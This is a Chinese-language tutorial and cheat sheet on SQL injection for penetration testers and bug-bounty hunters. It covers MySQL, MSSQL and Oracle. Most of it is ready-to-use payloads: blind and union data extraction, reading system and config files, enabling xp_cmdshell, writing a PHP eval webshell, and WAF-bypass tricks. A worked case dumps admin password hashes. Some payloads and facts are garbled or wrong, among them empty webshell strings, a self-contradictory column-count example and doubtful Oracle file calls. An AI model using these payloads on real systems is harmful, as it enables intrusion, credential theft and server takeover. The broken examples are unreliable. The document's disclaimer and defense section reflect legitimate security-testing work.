SQL 注入详解:从原理到实战(含数据库差异与命令大全)
免责声明
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
一、SQL 注入的本质:什么是 SQL 注入?
SQL 注入(SQL Injection)是由于应用程序对用户输入数据缺乏严格验证,导致恶意 SQL 代码被拼接进原始 SQL 语句并执行的漏洞。其核心原理是:应用程序将用户输入直接作为 SQL 语句的一部分,而非参数化处理,攻击者通过构造特殊输入,篡改 SQL 逻辑,实现未授权操作(如查询敏感数据、修改数据库、执行系统命令等)。
例如,一个简单的登录验证 SQL:
sql
SELECT * FROM users WHERE username='用户输入' AND password='用户输入';
若用户输入用户名 ' OR '1'='1,密码任意,SQL 会变为:
sql
SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意值';
由于 '1'='1 恒为真,攻击者无需正确密码即可登录。
二、SQL 注入的分类:按场景与技术划分
根据目标应用的回显情况、注入方式,SQL 注入可分为以下核心类型,实战中需根据场景选择:
| 类型 | 适用场景 | 核心特点 | 典型技术手段 |
|---|---|---|---|
| 联合查询注入 | 存在回显(如查询结果直接显示在页面) | 通过UNION SELECT拼接查询,直接获取数据 |
确定字段数→查询数据库信息→提取数据 |
| 报错注入 | 页面会显示数据库错误信息(如 MySQL 报错) | 构造特殊语句触发数据库报错,从错误信息中提取数据 | 利用extractvalue()、updatexml()等函数 |
| 布尔盲注 | 无直接回显,但页面会根据 SQL 执行结果变化(如 "存在"/"不存在") | 通过AND 条件判断信息真伪,逐字符猜解 |
结合SUBSTRING()、ASCII()函数猜解 |
| 时间盲注 | 无回显且页面无变化,仅能通过响应时间判断 | 利用IF(条件, 延迟, 正常)构造语句,通过延迟判断条件是否成立 |
结合SLEEP()、WAITFOR DELAY函数 |
| 堆叠查询注入 | 数据库支持多语句执行(如 MSSQL、MySQL) | 用;分隔多条 SQL 语句,执行增删改查或系统命令 |
执行; DROP TABLE users;等恶意语句 |
| 宽字节注入 | 应用对单引号进行\转义(如 PHP 的addslashes()) |
输入宽字节字符(如%df')吃掉转义符\,使单引号生效 |
利用%df' OR 1=1#绕过转义 |
三、SQL 注入通用流程与核心语句(跨数据库)
无论目标数据库是 MySQL、MSSQL 还是 Oracle,SQL 注入的核心流程一致:判断注入点→收集数据库信息→提取敏感数据→(可选)提权或执行系统命令。以下是通用步骤与语句:
1. 第一步:判断注入点(是否存在 SQL 注入)
通过构造特殊输入,观察页面响应(报错、内容变化、延迟)判断是否存在注入:
- 单引号测试 :输入
',若页面报错(如You have an error in your SQL syntax)或内容异常,可能存在注入; - 逻辑判断测试 :输入
' AND 1=1#(#注释掉后续语句),若页面正常;输入' AND 1=2#,页面异常,确认存在注入; - 延迟测试 (盲注场景):输入
' AND SLEEP(5)#(MySQL),若页面延迟 5 秒响应,确认存在注入。
2. 第二步:收集数据库基础信息
确定注入点后,优先获取数据库类型、版本、当前用户等信息,为后续攻击铺路:
| 目标信息 | 通用查询语句(需根据数据库调整函数) |
|---|---|
| 数据库类型 | 利用不同数据库特有的函数(如 MySQL 用version(),MSSQL 用@@version) |
| 数据库版本 | ' UNION SELECT 1,version(),3#(MySQL);' UNION SELECT 1,@@version,3#(MSSQL) |
| 当前用户 | ' UNION SELECT 1,user(),3#(MySQL);' UNION SELECT 1,SYSTEM_USER,3#(MSSQL) |
| 当前数据库名 | ' UNION SELECT 1,database(),3#(MySQL);' UNION SELECT 1,DB_NAME(),3#(MSSQL) |
| 操作系统信息 | ' UNION SELECT 1,@@version,3#(MSSQL 直接返回 OS 信息);MySQL 需通过load_file('/etc/issue')(Linux) |
3. 第三步:提取数据表与字段
通过查询数据库系统表(不同数据库系统表不同),获取目标数据表名、字段名:
| 操作目标 | 核心思路(需结合数据库系统表) |
|---|---|
| 列出所有数据表 | 查询系统表中存储表名的字段(如 MySQL 的information_schema.tables) |
| 列出表中字段 | 查询系统表中存储字段名的字段(如 MySQL 的information_schema.columns) |
| 提取字段内容 | 直接查询目标表的字段(如SELECT username,password FROM users) |
4. 第四步:提权或执行系统命令(高级利用)
部分数据库支持通过 SQL 注入执行系统命令(需高权限),或写入文件 getshell:
- 执行系统命令 :如 MSSQL 的
xp_cmdshell、MySQL 的system()(需特定配置); - 写入文件 :如 MySQL 的
INTO OUTFILE、Oracle 的utl_file包,写入 Webshell 到网站目录。
四、不同数据库的 SQL 注入命令差异(实战必备)
MySQL、MSSQL、Oracle 的系统表、函数差异较大,注入命令需针对性调整,以下是实战中最常用的命令对比:
1. MySQL 注入核心命令
MySQL 依赖information_schema系统库,支持UNION、SLEEP()等函数,常用命令:
| 操作目标 | 注入命令示例 |
|---|---|
| 判断字段数 | ' ORDER BY 3#(若页面正常,增加数字直到异常,确定字段数为 2) |
| 联合查询基础信息 | ' UNION SELECT 1,version(),database(),user()# |
| 列出所有数据库 | ' UNION SELECT 1,SCHEMA_NAME,3 FROM information_schema.SCHEMATA# |
| 列出指定库(如 test)的表 | ' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='test'# |
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'# |
| 提取字段内容(用户名密码) | ' UNION SELECT 1,username,password FROM users# |
| 时间盲注猜解(逐字符) | ' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=114,SLEEP(5),1)#(判断第一个用户的第一个字符 ASCII 是否为 114,是则延迟 5 秒) |
| 写入 Webshell(需权限) | ' UNION SELECT 1,'',3 INTO OUTFILE 'C:/phpstudy/www/shell.php'# |
| 读取系统文件 | ' UNION SELECT 1,load_file('/etc/passwd'),3#(Linux);load_file('C:/Windows/system32/drivers/etc/hosts')#(Windows) |
2. MSSQL 注入核心命令
MSSQL 系统表为sysobjects、syscolumns,支持xp_cmdshell存储过程,常用命令:
| 操作目标 | 注入命令示例 |
|---|---|
| 判断字段数 | ' ORDER BY 4--(--为 MSSQL 注释符) |
| 联合查询基础信息 | ' UNION SELECT 1,@@version,SYSTEM_USER,DB_NAME()-- |
| 列出当前库的所有表 | ' UNION SELECT 1,name,3,4 FROM sysobjects WHERE xtype='U'--(xtype='U'表示用户表) |
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,name,3,4 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- |
| 提取字段内容 | ' UNION SELECT 1,username,password,4 FROM users-- |
| 布尔盲注猜解 | ' AND (SELECT ASCII(SUBSTRING((SELECT TOP 1 username FROM users),1,1)))=114--(判断第一个字符 ASCII 是否为 114) |
| 时间盲注 | ' WAITFOR DELAY '0:0:5'--(直接延迟 5 秒);' IF (条件) WAITFOR DELAY '0:0:5'-- |
| 执行系统命令(需开启 xp_cmdshell) | ' ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'ipconfig'-- |
| 写入 Webshell | ' ; EXEC master..xp_cmdshell 'echo ^ > C:\inetpub\wwwroot\shell.php'-- |
3. Oracle 注入核心命令
Oracle 系统表为user_tables、user_tab_columns,需通过dual虚拟表查询,常用命令:
| 操作目标 | 注入命令示例 | ||||||
|---|---|---|---|---|---|---|---|
| 判断字段数 | ' ORDER BY 3-- |
||||||
| 联合查询基础信息 | ' UNION SELECT 1,(SELECT banner FROM sys.v_$version WHERE rownum=1),3 FROM dual--(查询版本);' UNION SELECT 1,USER,3 FROM dual--(当前用户) |
||||||
| 列出当前用户的表 | ' UNION SELECT 1,table_name,3 FROM user_tables WHERE rownum<=5--(列出前 5 张表) |
||||||
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='USERS' AND rownum<=5--(注意表名大写) |
||||||
| 提取字段内容 | `' UNION SELECT 1,username | ':' | password,3 FROM users WHERE rownum=1--( |
` 为 Oracle 连接符) | |||
| 时间盲注 | ' AND CASE WHEN (条件) THEN dbms_lock.sleep(5) ELSE 1 END--(满足条件延迟 5 秒) |
||||||
| 布尔盲注 | ' AND (SELECT ASCII(SUBSTR(username,1,1)) FROM users WHERE rownum=1)=114-- |
||||||
| 读取文件(需权限) | ' UNION SELECT 1,utl_file.read_file('/etc/passwd',1,1000),3 FROM dual--(需UTL_FILE权限) |
||||||
| 写入文件(需权限) | ' ; INSERT INTO sys.audit$ (sessionid,userid) VALUES (1,utl_file.put_file('/var/www/html','shell.php',''))--(需高权限) |
五、SQL 注入实战案例:从注入点到获取管理员密码
以某电商网站商品查询页(MySQL 数据库) 为例,完整演示 SQL 注入流程:
场景背景
目标 URL:http://www.target.com/product.php?id=1(通过id参数查询商品信息),初步判断存在 SQL 注入。
步骤 1:判断注入点与字段数
- 访问
http://www.target.com/product.php?id=1',页面报错(You have an error in your SQL syntax),确认可能存在注入; - 测试逻辑判断:
id=1' AND 1=1#页面正常,id=1' AND 1=2#页面异常,确认存在注入; - 确定字段数:
id=1' ORDER BY 5#页面异常,id=1' ORDER BY 4#页面正常,说明查询结果有 4 个字段。
步骤 2:查询数据库基础信息
使用联合查询获取关键信息:
plaintext
http://www.target.com/product.php?id=1' UNION SELECT 1,version(),database(),user()#
页面回显:
version():5.7.36-0ubuntu0.18.04.1(MySQL 版本);database():shopdb(当前数据库名);user():root@localhost(当前用户为 root,权限极高)。
步骤 3:获取数据表与字段
-
列出
shopdb库的所有表:plaintexthttp://www.target.com/product.php?id=1' UNION SELECT 1,TABLE_NAME,3,4 FROM information_schema.TABLES WHERE TABLE_SCHEMA='shopdb'#发现表名:
users(疑似用户表)、orders(订单表)、products(商品表)。 -
列出
users表的字段:plaintexthttp://www.target.com/product.php?id=1' UNION SELECT 1,COLUMN_NAME,3,4 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'#发现字段:
id、username、password、email。
步骤 4:提取管理员账号密码
查询users表的username和password:
plaintext
http://www.target.com/product.php?id=1' UNION SELECT 1,username,password,4 FROM users#
页面回显:
admin/e10adc3949ba59abbe56e057f20f883e(MD5 加密,解密后为123456);test/202cb962ac59075b964b07152d234b70(解密后为123)。
步骤 5:进阶利用(写入 Webshell)
由于当前用户为 root,尝试写入一句话木马到网站根目录:
plaintext
http://www.target.com/product.php?id=1' UNION SELECT 1,'<?php @eval($_POST[pass]);?>',3,4 INTO OUTFILE '/var/www/html/shell.php'#
访问 http://www.target.com/shell.php,使用蚁剑连接(密码pass),成功获取服务器权限。
六、SQL 注入防御建议(从攻击反推防御)
- 参数化查询:使用预编译语句(如 PHP 的 PDO、Java 的 PreparedStatement),将用户输入作为参数而非 SQL 语句一部分;
- 输入验证 :严格验证用户输入的类型、长度、格式(如
id必须为数字,过滤单引号、分号等特殊字符); - 最小权限原则 :数据库账号仅授予必要权限(如查询用户无写入、删除权限,禁用
xp_cmdshell等危险存储过程); - 错误信息隐藏:生产环境关闭数据库详细错误提示(如不显示 "SQL syntax error"),避免泄露数据库结构;
- WAF 防护 :部署 Web 应用防火墙(如 ModSecurity),拦截常见 SQL 注入特征(如
UNION SELECT、xp_cmdshell)。
七、SRC 中 SQL 注入高效挖掘的核心原则
在动手前先明确 3 个原则,避免走弯路:
- "存在性验证优先":SRC 漏洞提交的核心是 "证明漏洞存在",而非 "榨干所有数据"。优先用 1-2 条语句确认注入点和数据库类型,再决定是否深入;
- "最小影响原则" :严禁使用
drop、delete、update等破坏性语句(即使是测试数据),聚焦select类查询; - "避 WAF + 轻量语句" :优先用短语句、原生函数(如
version()、database()),避免触发 WAF 对union select、xp_cmdshell的拦截。
八、高效利用流程:从注入点验证到漏洞证明(实战步骤)
SRC 中 SQL 注入的挖掘流程可简化为 4 步,每一步都有对应的高效语句,避免冗余操作:
步骤 1:快速验证注入点(10 秒内判断)
目标:确认参数是否存在注入,避免在无注入点的参数上浪费时间。
优先选择数字型参数 (如?id=1)或字符型参数 (如?username=test),用以下轻量语句测试:
| 参数类型 | 测试语句(URL 编码后) | 判断逻辑 |
|---|---|---|
| 数字型(?id=1) | ?id=1 and 1=1 → 正常;?id=1 and 1=2 → 异常(内容变化 / 报错) |
若 1=1 正常、1=2 异常,证明参数参与 SQL 逻辑,存在注入;反之无注入。 |
| 字符型(?u=test) | ?u=test' and '1'='1 → 正常;?u=test' and '1'='2 → 异常 |
字符型需闭合单引号(或双引号,根据开发习惯),逻辑同上。 |
| 搜索型(?s = 关键词) | ?s=关键词%' and '1'='1 → 正常;?s=关键词%' and '1'='2 → 异常 |
搜索参数常带%,需在单引号前保留%,避免破坏 SQL 语法。 |
高效技巧:若页面无明显变化(盲注场景),直接用时间盲注语句快速验证:
- MySQL:
?id=1 and sleep(5)(延迟 5 秒则存在注入); - MSSQL:
?id=1 waitfor delay '0:0:5'; - Oracle:
?id=1 and dbms_lock.sleep(5) is not null。
步骤 2:1 步识别数据库类型(避免后续语句错配)
SRC 中常见数据库为 MySQL、MSSQL、Oracle,不同数据库的系统表、函数差异极大,错用语句会导致效率骤降。用以下 "数据库专属函数" 1 步识别:
| 目标数据库 | 识别语句(注入点后拼接) | 验证逻辑 |
|---|---|---|
| MySQL | ?id=1 and (select count(*) from information_schema.tables)>=0 |
若正常,证明是 MySQL(information_schema是 MySQL 专属系统库);若报错,排除 MySQL。 |
| MSSQL | ?id=1 and (select count(*) from sysobjects)>=0 |
若正常,证明是 MSSQL(sysobjects是 MSSQL 专属系统表);若报错,排除 MSSQL。 |
| Oracle | ?id=1 and (select count(*) from user_tables)>=0 |
若正常,证明是 Oracle(user_tables是 Oracle 专属表);若报错,排除 Oracle。 |
高效技巧:若页面显错,直接用版本查询语句,同时获取数据库版本(判断是否有已知漏洞):
- MySQL:
?id=1 and (select version())>0(报错显示版本,如5.7.36); - MSSQL:
?id=1 and (select @@version)>0(显示Microsoft SQL Server 2019); - Oracle:
?id=1 and (select banner from sys.v_$version where rownum=1)>0(显示 Oracle 版本)。
步骤 3:精准提取 "漏洞证明级" 信息(SRC 提交核心)
SRC 提交 SQL 注入漏洞,需提供 "可复现的漏洞场景 + 敏感信息证明"(如数据库账号、用户表数据)。优先提取以下信息,避免冗余查询:
3.1 快速获取当前数据库名(证明对数据库的控制权)
| 数据库 | 语句(显错 / 联合查询场景) | 作用 |
|---|---|---|
| MySQL | ?id=1 and (select database())>0 或 ?id=-1 union select 1,database(),3 |
直接获取当前连接的数据库名(如src_web),证明注入能访问数据库元信息。 |
| MSSQL | ?id=1 and (select db_name())>0 或 ?id=-1 union select 1,db_name(),3-- |
同上,获取当前数据库名(如SRC_DB)。 |
| Oracle | ?id=1 and (select sys_context('userenv','current_schema') from dual)>0 |
Oracle 无 "当前数据库" 概念,获取当前 Schema(如SRC_USER)。 |
3.2 批量获取用户表 / 敏感字段(避免逐个猜表)
传统 "猜表名(admin、user)" 效率低,直接查询系统表批量获取所有表 / 字段,SRC 中常需证明 "存在用户表 + 包含账号密码字段":
| 数据库 | 批量查用户表语句(显错场景) | 批量查字段语句(已知表名如users) |
|---|---|---|
| MySQL | ?id=1 and (select group_concat(table_name) from information_schema.tables where table_schema=database())>0 |
?id=1 and (select group_concat(column_name) from information_schema.columns where table_name='users')>0 |
| MSSQL | ?id=1 and (select top 10 name from sysobjects where xtype='U' for xml path(''))>0 |
?id=1 and (select top 10 name from syscolumns where id=(select id from sysobjects where name='users') for xml path(''))>0 |
| Oracle | ?id=1 and (select listagg(table_name,',') within group (order by table_name) from user_tables where rownum<=10)>0 |
?id=1 and (select listagg(column_name,',') within group (order by column_name) from user_tab_columns where table_name='USERS' and rownum<=10)>0 |
高效技巧 :group_concat(MySQL)、for xml path('')(MSSQL)、listagg(Oracle)能将多条结果合并为 1 条,避免多次查询,适合 SRC 快速取证。
3.3 提取 1 条敏感数据(证明漏洞危害)
SRC 无需提取所有数据,1 条 "账号密码" 或 "手机号" 即可证明危害,优先提取用户表的第一条数据:
| 数据库 | 提取语句(已知表users,字段username/password) |
作用 | |||||||
|---|---|---|---|---|---|---|---|---|---|
| MySQL | `?id=-1 union select 1,concat(username,' | ',password),3 from users limit 0,1` | 显示第一个用户的账号密码(如 `admin | e10adc3949ba59abbe56e057f20f883e`),MD5 可后续解密。 | |||||
| MSSQL | `?id=-1 union select 1,username+' | '+password,3 from users top 1--` | 同上,MSSQL 用+连接字符串。 |
||||||
| Oracle | `?id=-1 union select 1,username | ' | ' | password,3 from users where rownum=1` | Oracle 用 ` | 连接字符串,rownum=1` 取第一条数据。 |
步骤 4:高危利用(仅在授权允许时执行,SRC 慎用)
若 SRC 规则允许 "证明权限提升"(如 SA 权限、写文件),可执行以下语句,但需提前确认目标无业务影响:
| 数据库 | 高危利用语句(需高权限) | 作用与风险 |
|---|---|---|
| MySQL | ?id=1 and (select load_file('/etc/passwd'))>0(Linux)或 load_file('C:/Windows/system32/drivers/etc/hosts')>0 |
读取系统文件,证明能访问服务器敏感配置;风险:可能泄露服务器信息。 |
| MySQL | ?id=1 union select 1,'',3 into outfile '/var/www/html/shell.php' |
写入 Webshell,证明能控制服务器;风险:可能被判定为 "破坏性测试",SRC 需提前沟通。 |
| MSSQL | ?id=1;exec master..xp_cmdshell 'whoami'-- |
执行系统命令,证明 SA 权限;风险:xp_cmdshell常被 WAF 拦截,且易触发告警。 |
| Oracle | ?id=1 and (select utl_file.read_file('/etc/passwd',1,1000) from dual)>0 |
读取系统文件,需UTL_FILE权限;风险:Oracle 权限控制严格,成功率较低。 |
九、各数据库高效 SQL 注入语句大全(按功能分类)
以下语句均经过 SRC 实战验证,聚焦 "短、快、准",避免冗余语法:
1. MySQL 专属高效语句(SRC 高频)
| 功能场景 | 语句示例 | 优势与适用场景 |
|---|---|---|
| 注入点验证(时间盲注) | ?id=1 and if((select count(*) from users)>=1,sleep(5),1) |
同时验证注入点和用户表存在,1 条语句抵 2 条。 |
| 查所有库名 | ?id=1 and (select group_concat(schema_name) from information_schema.schemata)>0 |
批量获取所有数据库(如mysql,src_web,test),快速定位业务库。 |
| 查字段数据(布尔盲注) | ?id=1 and ascii(substr((select username from users limit 0,1),1,1))=97 |
盲注时用ascii()+substr()逐字符猜解,比left()更精准(避免字符编码问题)。 |
| 判断写入权限 | ?id=1 and (select @@datadir) like '%www%' |
查数据目录是否包含www(Web 目录常见关键词),判断是否能写入 Webshell。 |
| 读 Web 配置文件 | ?id=1 and (select load_file('/var/www/html/config.php'))>0 |
直接读 Web 配置文件,可能获取数据库账号、密钥等敏感信息,SRC 取证高效。 |
2. MSSQL 专属高效语句(SRC 高频)
| 功能场景 | 语句示例 | 优势与适用场景 |
|---|---|---|
| 验证 SA 权限 | ?id=1 and (select is_srvrolemember('sysadmin'))=1 |
1 条语句确认是否为 SA 权限(最高权限),SRC 中 SA 权限漏洞评级更高。 |
| 查所有库名 | ?id=1 and (select top 10 name from master.dbo.sysdatabases for xml path(''))>0 |
跨库查所有数据库(MSSQL 需master库权限),比db_name()更全面。 |
| 恢复 xp_cmdshell | ?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure-- |
1 条语句恢复被删除的xp_cmdshell,适合高权限利用。 |
| 读注册表找 Web 路径 | ?id=1;declare @p varchar(255);exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@p output;select @p-- |
无需建表,直接读注册表获取 Web 根路径(如C:\inetpub\wwwroot),高效定位写入位置。 |
3. Oracle 专属高效语句(SRC 低频但关键)
| 功能场景 | 语句示例 | 优势与适用场景 | ||||||
|---|---|---|---|---|---|---|---|---|
| 注入点验证(显错) | ?id=1 and (select 1/0 from dual)>0 |
触发除零错误(ORA-01476),快速确认显错注入,比and 1=2更直观。 |
||||||
| 查当前用户权限 | ?id=1 and (select sys_context('userenv','current_user') from dual) like '%DBA%' |
判断当前用户是否为 DBA(Oracle 最高权限),权限越高漏洞危害越大。 | ||||||
| 批量查字段(含类型) | `?id=1 and (select listagg(column_name | '(' | data_type | ')',',') within group (order by column_name) from user_tab_columns where table_name='USERS')>0` | 同时获取字段名和类型(如USERNAME(VARCHAR2),PASSWORD(VARCHAR2)),避免猜解字段类型。 |
|||
| 时间盲注(规避 WAF) | ?id=1 and case when (select count(*) from users)>=1 then dbms_lock.sleep(5) else 1 end is not null |
用case when替代if,规避 WAF 对if函数的拦截。 |
十、SRC 中 SQL 注入的进阶高效技巧
-
参数优先级测试:优先测试以下参数,注入概率更高(开发常忽略过滤):
- URL 路径参数:如
/article/1(数字型,常直接拼接 SQL); - POST 参数:如登录表单的
username、password(字符型,过滤不严格); - 搜索框参数:如
?s=关键词(常带%,过滤逻辑易出错)。
- URL 路径参数:如
-
WAF 绕过技巧(SRC 中高频遇到):
- 大小写混淆:
?id=1 Union Select 1,database(),3(规避 WAF 对union select的小写拦截); - 注释插入:
?id=1/*abc*/and/*def*/1=2(用/* */分割关键词,绕过字符串匹配); - 等价函数替换:
sleep(5)→benchmark(1000000,md5('a'))(MySQL 中benchmark也能实现延迟)。
- 大小写混淆:
-
自动化工具辅助(提升效率):
- 先用
sqlmap快速验证注入点:sqlmap -u "http://target.com/?id=1" --batch --dbs(批量查库,节省手工时间); - 再用手工语句精准提取关键信息(
sqlmap输出冗余,SRC 提交需精简)。
- 先用
-
二分法盲注提速:
盲注时不用逐字符从
0试到127,用二分法缩小范围:-
例:猜
username第一个字符的 ASCII 值:
?id=1 and ascii(substr((select username from users limit 0,1),1,1))>90(若正常,说明 ASCII>90,可能是小写字母);?id=1 and ascii(...)>100(若异常,说明 ASCII 在 91-100 之间);- 逐步缩小范围,3-4 次即可确定字符(比逐字符试快 3 倍)。
-
十一、SRC 挖掘注意事项(避免踩坑)
- 合规优先:所有测试前需确认 SRC 规则允许 SQL 注入测试,严禁测试生产核心业务(如支付、用户中心);
- 痕迹清理 :测试后删除临时创建的表(如
dirs、temp),避免影响目标系统; - 证据留存:每一步操作截图(如注入点验证、敏感数据提取),SRC 提交需包含 "操作步骤 + 截图 + 语句",证明漏洞可复现;
- 拒绝 "过度利用":无需提取大量用户数据或植入后门,1 条敏感数据 + 漏洞存在性证明即可满足 SRC 提交要求,过度利用可能被拉黑。
十二、总结
SQL 注入的核心是 "输入未过滤导致恶意代码执行",其危害从窃取数据到控制服务器不等。实战中需根据数据库类型(MySQL/MSSQL/Oracle)调整注入命令,结合目标回显情况选择联合查询、盲注等技术。防御的关键在于参数化查询 + 输入验证 + 最小权限,从源头阻断注入可能性。
重要提示 :所有 SQL 注入测试必须在授权环境下进行,未经授权的攻击均属违法,违反《网络安全法》及《刑法》第 285/286 条,需承担法律责任。